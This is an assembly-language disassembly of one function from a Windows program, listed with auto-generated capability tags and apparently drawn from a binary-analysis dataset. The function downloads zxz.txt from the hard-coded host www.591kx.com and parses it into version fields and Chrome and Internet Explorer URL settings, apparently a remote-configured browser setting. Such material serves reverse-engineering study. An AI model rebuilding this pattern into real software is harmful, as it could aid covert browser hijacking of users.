Function at 0x427c20
Capabilities:
Connect to http server
Create http request
Query remote server for available data
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x469ea0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0
push 0
push 0
push 0
push str.Install
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0
push 3
push 0
push 0
push 0x50
push str.www.591kx.com
push eax
mov dword [ebp - 0x414], eax
call dword [sym.imp.WININET.dll_InternetConnectA]
push 0
push 0x806cc200
push 0
push 0
push 0x45b89c
push str.zxz.txt
push 0x45bacc
push eax
mov dword [ebp - 0x418], eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebx, eax
test ebx, ebx
je 0x427d57
push 0
push 0
push 0
push 0
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x427d57
push 4
push str.V10
mov ecx, 0x46d228
call fcn.0040b3c0
push 4
push str.V20
mov ecx, 0x46d244
call fcn.0040b3c0
push 4
push str.V30
mov ecx, 0x46d260
call fcn.0040b3c0
push 4
push str.V40
mov ecx, 0x46d27c
call fcn.0040b3c0
push 4
push str.V50
mov ecx, 0x46d298
call fcn.0040b3c0
push 4
push str.V60
mov ecx, 0x46d2b4
call fcn.0040b3c0
push 4
push str.V70
mov ecx, 0x46d2d0
call fcn.0040b3c0
push 0xb
push str.chromeURL0
mov ecx, 0x46d2ec
call fcn.0040b3c0
push 7
push str.ieURL0
mov ecx, 0x46d308
call fcn.0040b3c0
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043eb21
mov esp, ebp
pop ebp
ret
push edi
push 0x3ff
lea eax, [ebp - 0x403]
push 0
push eax
mov byte [ebp - 0x404], 0
call fcn.0043ecf0
mov edi, dword [sym.imp.WININET.dll_HttpQueryInfoA]
add esp, 0xc
push 0
lea ecx, [ebp - 0x41c]
push ecx
lea edx, [ebp - 0x404]
push edx
push 0x13
push ebx
mov dword [ebp - 0x41c], 0x400
call edi
mov ecx, 0x45b890
lea eax, [ebp - 0x404]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x427dc5
test dl, dl
je 0x427dc1
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x427dc5
add eax, 2
add ecx, 2
test dl, dl
jne 0x427da5
xor eax, eax
jmp 0x427dca
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x427eb0
mov ecx, 0x45ba84
lea eax, [ebp - 0x404]
lea ecx, [ecx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x427e00
test dl, dl
je 0x427dfc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x427e00
add eax, 2
add ecx, 2
test dl, dl
jne 0x427de0
xor eax, eax
jmp 0x427e05
sbb eax, eax
sbb eax, 0xffffffff
push 4
mov ecx, 0x46d228
push str.V10
call fcn.0040b3c0
push 4
push str.V20
mov ecx, 0x46d244
call fcn.0040b3c0
push 4
push str.V30
mov ecx, 0x46d260
call fcn.0040b3c0
push 4
push str.V40
mov ecx, 0x46d27c
call fcn.0040b3c0
push 4
push str.V50
mov ecx, 0x46d298
call fcn.0040b3c0
push 4
push str.V60
mov ecx, 0x46d2b4
call fcn.0040b3c0
push 4
push str.V70
mov ecx, 0x46d2d0
call fcn.0040b3c0
push 0xb
push str.chromeURL0
mov ecx, 0x46d2ec
call fcn.0040b3c0
push 7
push str.ieURL0
mov ecx, 0x46d308
call fcn.0040b3c0
pop edi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043eb21
mov esp, ebp
pop ebp
ret
push esi
push 0xb
mov dword [ebp - 0x408], 0xa
call fcn.0043e5bb
add esp, 4
push 0
mov esi, eax
lea eax, [ebp - 0x408]
push eax
push esi
push 0x16
push ebx
call edi
test eax, eax
jne 0x427f16
lea ebx, [ebx]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x427f03
push esi
call fcn.0043e530
mov ecx, dword [ebp - 0x408]
inc ecx
push ecx
call fcn.0043e5bb
add esp, 8
mov esi, eax
push 0
lea edx, [ebp - 0x408]
push edx
push esi
push 0x16
push ebx
call edi
test eax, eax
je 0x427ee0
mov eax, dword [ebp - 0x408]
push esi
mov byte [esi + eax], 0
call fcn.0043e530
add esp, 4
push 0
push 0
lea ecx, [ebp - 0x40c]
push ecx
push ebx
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
test eax, eax
je 0x4281e8
mov edi, dword [ebp - 0x40c]
lea edx, [edi + 1]
push edx
call fcn.0043e5bb
push edi
mov esi, eax
push 0
push esi
call fcn.0043ecf0
mov ecx, dword [ebp - 0x40c]
add esp, 0x10
lea eax, [ebp - 0x410]
push eax
push ecx
push esi
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
push 0x45b2f0
push esi
mov edi, eax
call fcn.004415dd
mov ecx, eax
add esp, 8
lea esi, [ecx + 1]
jmp 0x427f90
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x427f90
sub ecx, esi
push ecx
push eax
mov ecx, 0x46d228
call fcn.0040b3c0
push 0x45b2f0
push 0
call fcn.004415dd
mov ecx, eax
add esp, 8
lea esi, [ecx + 1]
lea esp, [esp]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x427fc0
sub ecx, esi
push ecx
push eax
mov ecx, 0x46d244
call fcn.0040b3c0
push 0x45b2f0
push 0
call fcn.004415dd
mov ecx, eax
add esp, 8
lea esi, [ecx + 1]
lea esp, [esp]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x427ff0
sub ecx, esi
push ecx
push eax
mov ecx, 0x46d260
call fcn.0040b3c0
push 0x45b2f0
push 0
call fcn.004415dd
mov ecx, eax
add esp, 8
lea esi, [ecx + 1]
lea esp, [esp]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x428020
sub ecx, esi
push ecx
push eax
mov ecx, 0x46d27c
call fcn.0040b3c0
push 0x45b2f0
push 0
call fcn.004415dd
mov ecx, eax
add esp, 8
lea esi, [ecx + 1]
lea esp, [esp]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x428050
sub ecx, esi
push ecx
push eax
mov ecx, 0x46d298
call fcn.0040b3c0
push 0x45b2f0
push 0
call fcn.004415dd
mov ecx, eax
add esp, 8
lea esi, [ecx + 1]
lea esp, [esp]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x428080
sub ecx, esi
push ecx
push eax
mov ecx, 0x46d2b4
call fcn.0040b3c0
push 0x45b2f0
push 0
call fcn.004415dd
mov ecx, eax
add esp, 8
lea esi, [ecx + 1]
lea esp, [esp]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x4280b0
sub ecx, esi
push ecx
push eax
mov ecx, 0x46d2d0
call fcn.0040b3c0
push 0x45b2f0
push 0
call fcn.004415dd
mov ecx, eax
add esp, 8
lea esi, [ecx + 1]
lea esp, [esp]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x4280e0
sub ecx, esi
push ecx
push eax
mov ecx, 0x46d2ec
call fcn.0040b3c0
push 0x45b2f0
push 0
call fcn.004415dd
mov ecx, eax
add esp, 8
lea esi, [ecx + 1]
lea esp, [esp]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x428110
sub ecx, esi
push ecx
push eax
mov ecx, 0x46d308
call fcn.0040b3c0
test edi, edi
jne 0x42812f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 0x410], 0
jne 0x4281e8
push 4
push str.V10
mov ecx, 0x46d228
call fcn.0040b3c0
push 4
push str.V20
mov ecx, 0x46d244
call fcn.0040b3c0
push 4
push str.V30
mov ecx, 0x46d260
call fcn.0040b3c0
push 4
push str.V40
mov ecx, 0x46d27c
call fcn.0040b3c0
push 4
push str.V50
mov ecx, 0x46d298
call fcn.0040b3c0
push 4
push str.V60
mov ecx, 0x46d2b4
call fcn.0040b3c0
push 4
push str.V70
mov ecx, 0x46d2d0
call fcn.0040b3c0
push 0xb
push str.chromeURL0
mov ecx, 0x46d2ec
call fcn.0040b3c0
push 7
push str.ieURL0
mov ecx, 0x46d308
call fcn.0040b3c0
pop esi
pop edi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043eb21
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
mov edx, dword [ebp - 0x418]
push edx
call esi
mov eax, dword [ebp - 0x414]
push eax
call esi
mov ecx, dword [ebp - 4]
pop esi
pop edi
xor ecx, ebp
pop ebx
call fcn.0043eb21
mov esp, ebp
pop ebp
ret